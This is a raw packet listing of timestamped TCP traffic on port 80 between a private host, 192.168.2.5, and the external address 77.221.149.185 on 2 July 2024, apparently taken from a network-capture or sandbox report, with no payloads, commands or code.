Jul 2, 2024 22:52:31.215224981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215233088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215300083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215311050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215320110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215325117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.215331078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215379953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.215379953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.215387106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215555906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215565920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215574980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215579987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215606928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.215703011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215728045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.215765953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215775013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.215785027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.215815067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.216434956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216444969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216466904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216475964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216511011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.216654062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.216681004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216696978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216711044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216722965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.216753006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.216934919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217338085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217448950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217458963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217500925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217504978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217510939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217520952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217530012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217539072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217556000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217720985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217730999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217741013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217766047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217776060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217784882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217791080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217791080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217798948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217820883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217880011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217885017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217890978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217900038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217909098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217921019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217926979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217931032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217940092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.217967033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.217995882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.218069077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218112946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218122959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218204021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218214989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218225002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218234062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218235016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.218252897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.218353033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218363047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218372107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218381882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.218383074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218393087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218401909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218408108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.218408108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.218413115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.218487024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.219721079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.219732046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.219746113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.219849110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.219876051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.219902039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.219913006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.219922066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.219970942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.219970942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.220474005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.220489025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.220511913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.220521927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.220530987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.220532894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.220540047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.220551968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.220566988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.220649004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.223705053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.223715067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.223725080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.223793983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.223793983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.223829985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.223839045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.223849058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.223859072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.223885059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.224014044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.299544096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299716949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299726009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299735069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299745083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299755096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299763918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299789906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.299828053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.299865007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.299966097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.300328970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300338030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300353050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300383091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.300445080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300453901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300462961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300472975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300499916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.300545931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.300595999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300606012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300616026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300625086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300636053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300645113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300653934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.300682068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.300682068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.300734997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.302547932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302557945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302566051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302628040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302638054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302656889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.302711964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302716017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.302721977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302731037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302742004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302750111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302767992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.302781105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.302828074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.302896976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302911997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302921057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302931070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.302983046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.302983046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307442904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307452917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307461977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307526112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307538033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307548046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307558060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307569981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307569981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307569981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307601929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307611942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307621956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307651997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307682991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307849884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307861090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307868958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307878971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307888031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307898045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307905912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307915926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307917118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307917118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307926893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307934999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307935953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307945967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307955027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.307971954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307971954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.307976007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308082104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.308620930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308682919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308686972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.308692932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308702946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308712959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308739901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.308752060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.308932066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308942080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308952093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308960915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308970928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308980942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.308990002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309000015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309015036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309015036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309026003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309037924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309065104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309094906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309107065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309117079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309125900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309135914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309144974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309154987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309165001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309175014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309184074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309185982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309185982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309185982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309192896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309202909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309211016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309221029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309230089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309250116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309250116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309281111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.309674025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309683084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.309854031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.310729980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.310739994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.310749054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.310808897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.310817003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.310827017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.310832024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.310837030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.310864925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.310889006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.311024904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.311037064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.311045885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.311055899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.311064959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.311074972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.311084032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.311084986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.311084986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.311140060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.311222076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.312798977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.312808990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.312818050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.312829971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.312844992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.312854052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.312863111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.312871933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.312871933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.312910080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.367115974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.408855915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.408890009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.408901930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.408911943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.408921957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.408932924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.408942938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409029961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409040928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409050941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409060001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409060001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409061909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409073114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409085035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409096003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409101963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409101963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409130096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409172058 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409281969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409292936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409303904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409320116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409332991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409343958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409357071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409358025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409358025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409408092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409593105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409653902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409665108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409738064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409746885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409756899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409759045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409766912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409776926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409802914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409827948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409827948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409905910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409929991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409940004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409950972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.409957886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.409997940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410033941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.410124063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410135031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410145044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410155058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410170078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.410182953 CEST	80	49712	77.221.149.185	192.168.2.5
